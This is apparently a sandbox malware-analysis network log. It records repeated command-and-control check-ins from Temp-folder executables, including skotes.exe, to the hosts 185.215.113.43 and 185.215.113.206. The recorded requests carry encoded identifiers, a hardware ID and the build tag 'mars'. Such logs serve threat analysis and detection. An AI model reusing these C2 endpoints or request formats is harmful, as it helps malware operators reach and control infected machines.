Nov 13, 2024 18:09:53.385190964 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:09:54.293953896 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:09:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	50183	185.215.113.206	80	8116	C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:09:54.472032070 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 13, 2024 18:09:55.378489971 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:09:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 13, 2024 18:09:55.385010958 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDGDHJJDGHCAAAKEHIJ Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 39 31 32 30 41 46 45 42 44 39 39 31 33 31 32 36 34 37 36 39 37 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 2d 2d 0d 0a Data Ascii: ------EGDGDHJJDGHCAAAKEHIJContent-Disposition: form-data; name="hwid"09120AFEBD991312647697------EGDGDHJJDGHCAAAKEHIJContent-Disposition: form-data; name="build"mars------EGDGDHJJDGHCAAAKEHIJ--
Nov 13, 2024 18:09:55.668757915 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:09:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	50186	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:09:55.926976919 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:09:56.858160973 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:09:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	50203	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:09:58.380322933 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:09:59.285578966 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:09:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	50227	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:10:00.907371044 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:10:01.827812910 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:10:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	50235	185.215.113.206	80	5124	C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:10:01.708631992 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 13, 2024 18:10:02.611695051 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:10:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 13, 2024 18:10:02.614358902 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDAAKFIDGIEGDGDHIDAK Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 46 49 44 47 49 45 47 44 47 44 48 49 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 39 31 32 30 41 46 45 42 44 39 39 31 33 31 32 36 34 37 36 39 37 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 46 49 44 47 49 45 47 44 47 44 48 49 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 46 49 44 47 49 45 47 44 47 44 48 49 44 41 4b 2d 2d 0d 0a Data Ascii: ------GDAAKFIDGIEGDGDHIDAKContent-Disposition: form-data; name="hwid"09120AFEBD991312647697------GDAAKFIDGIEGDGDHIDAKContent-Disposition: form-data; name="build"mars------GDAAKFIDGIEGDGDHIDAK--
Nov 13, 2024 18:10:02.897102118 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:10:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	50242	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:10:03.358499050 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:10:04.296533108 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:10:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	50252	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:10:05.968030930 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:10:06.905756950 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:10:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	50255	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:10:08.420258999 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:10:09.384581089 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:10:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	50256	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:10:11.022059917 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:10:11.932441950 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:10:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	50260	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:10:13.444240093 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:10:14.393722057 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:10:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	50261	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:10:19.321367979 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:10:20.222203970 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:10:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	50263	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:10:21.751945019 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:10:22.696074009 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:10:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	50264	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:10:24.312652111 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:10:25.247927904 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:10:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	50266	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:10:26.767853975 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:10:27.695437908 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:10:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	50267	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:10:29.313558102 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:10:30.224215031 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:10:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	50269	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:10:31.748992920 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:10:32.668523073 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:10:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	50270	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:10:34.295857906 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:10:35.219516039 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:10:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	50271	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:10:36.740852118 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:10:37.657026052 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:10:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	50272	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:10:39.398315907 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:10:40.300302029 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:10:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	50273	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:10:41.813519955 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:10:42.739820004 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:10:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
